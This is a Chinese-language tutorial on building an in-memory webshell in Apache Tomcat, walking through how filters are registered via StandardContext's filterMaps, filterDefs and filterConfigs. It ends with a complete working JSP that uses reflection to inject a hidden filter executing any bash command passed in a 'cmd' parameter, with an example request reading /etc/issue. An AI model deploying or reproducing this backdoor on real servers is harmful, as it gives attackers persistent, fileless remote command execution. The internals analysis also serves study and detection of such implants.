一、Tomcat處理請求
在前一個章節講到,tomcat在處理請求時候,首先會經過聯結器Coyote把request物件轉換成ServletRequest後,傳遞給Catalina進行處理。
在Catalina中有四個關鍵的容器,分別為Engine、Host、Context、Wrapper。這四種容器成套娃式的分層結構設計。
接下來我們知道當tomcat接收到請求時候,依次會經過Listener -> Filter -> Servlet
其實我們也可以通過動態新增Filter來構成記憶體馬,不過在此之前先了解下tomcat處理請求的邏輯
從上圖中可以看到,請求到達Wrapper容器時候,會開始呼叫FilterChain,這個FilterChain就是若干個Filter組成的過濾器鏈。最後才會達到Servlet。只要把我們的惡意filter放入filterchain的第一個位置,就可以觸發惡意filter中的方法。
二、Filter註冊流程
要在FilterChain中加入惡意filter,首先要了解tomcat中Filter的註冊流程
在上圖中可以看到,Wrapper容器呼叫FilterChain的地方就在StandardWrapperValve
類中
除錯
註冊一個filter:
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("doFilter過濾");
//放行
chain.doFilter(request,response);
}
@Override
public void destroy() {
System.out.println("filter銷燬");
}
}
配置web.xml
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>test.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
在doFilter處下斷點,訪問任意url:http://127.0.0.1:8080/xxx
檢視呼叫鏈
可以看到在StandardWrapperValve#invoke
中,通過createFilterChain
方法獲得了一個ApplicationFilterChain
型別的filterChain
其filterChain中存放了兩個ApplicationFilterConfig
型別的filter,其中第一個就是TestFilter
然後在下面196行呼叫了ApplicationFilterChain#doFilter
跟進doFilter
方法,在方法中呼叫了internalDoFilter
跟進internalDoFilter
後看到,從filters陣列裡面拿到了第一個filter即Testfilter
最後呼叫了filter.doFilter
可以看到,filter是從filters陣列中拿到的,看看filters陣列是什麼,Ctrl+左擊
其實就是一個ApplicationFilterConfig
型別的物件陣列,它的值也就是前面的說的通過createFilterChain
方法獲得的
接下來檢視createFilterChain
如何把我們寫的TestFilter新增ApplicationFilterConfig
的
跟進ApplicationFilterFactory#createFilterChain
中,看到首先64行拿到了個ServletRequest
,然後通過ServletRequest#getFilterChain
獲取到了filterChain
繼續往下看,通過StandardContext
物件找到了filterMaps[]
然後又通過filterMaps中的名字,找到StandardContext
物件中的FilterConfig,最後把FilterConfig加入了filterChain中
跟進filterChain.addFilter
看到,也就是加入了前面說的filters陣列ApplicationFilterConfig
中。這裡和上面一步的操作就是遍歷filter放入ApplicationFilterConfig
通過除錯發現,有兩個很重要的變數,filterMap和filterConfig
-
filterMaps拿名字
-
filterConfigs拿過濾器
其實這兩個變數都是在StandardContext
物件裡面存放了,其中還有個變數filterDefs也是重要的變數
分析filterMaps、filterConfigs、filterDefs
1)filterMaps
既然這三個變數都是從StandardContext
中獲得,那麼檢視StandardContext
發現有兩個方法可以新增filterMap
2)filterConfigs
在StandardContext
中同樣尋找新增filterConfig值的地方,發現有一處filterStart
方法
此處新增是在tomcat啟動時完成,所以下好斷點啟動tomcat
filterDefs
中存放著TestFilter
遍歷這個filterDefs
,拿到key為TestFilter,value為FilterDef物件,值test.Testfilter
接下來new了一個ApplicationFilterConfig
,放入了value
然後把nam=TestFilter和filterConfig放入了filterConfigs
3)filterDefs
以上的filterDefs才是真正放了過濾器的地方,那麼我們看下filterDefs在哪裡被加入了
在StandardContext
中同樣有個addFilterDef
方法
可以想到,tomcat是從web.xml中讀取的filter,然後加入了filterMap和filterDef變數中,以下對應著這兩個變數
記憶體馬
我們通過控制filterMaps、filterConfigs、filterDefs的值,則可以注入惡意的filter
-
filterMaps:一個HashMap物件,包含過濾器名字和URL對映
-
filterDefs:一個HashMap物件,過濾器名字和過濾器例項的對映
-
filterConfigs變數:一個ApplicationFilterConfig物件,裡面存放了filterDefs
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 將filterDef新增到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
訪問:http://127.0.0.1:8080/testF.jsp顯示注入成功
執行命令:http://127.0.0.1:8080/?cmd=cat /etc/issue
三、參考:
http://wjlshare.com/archives/1529#0x04_Filter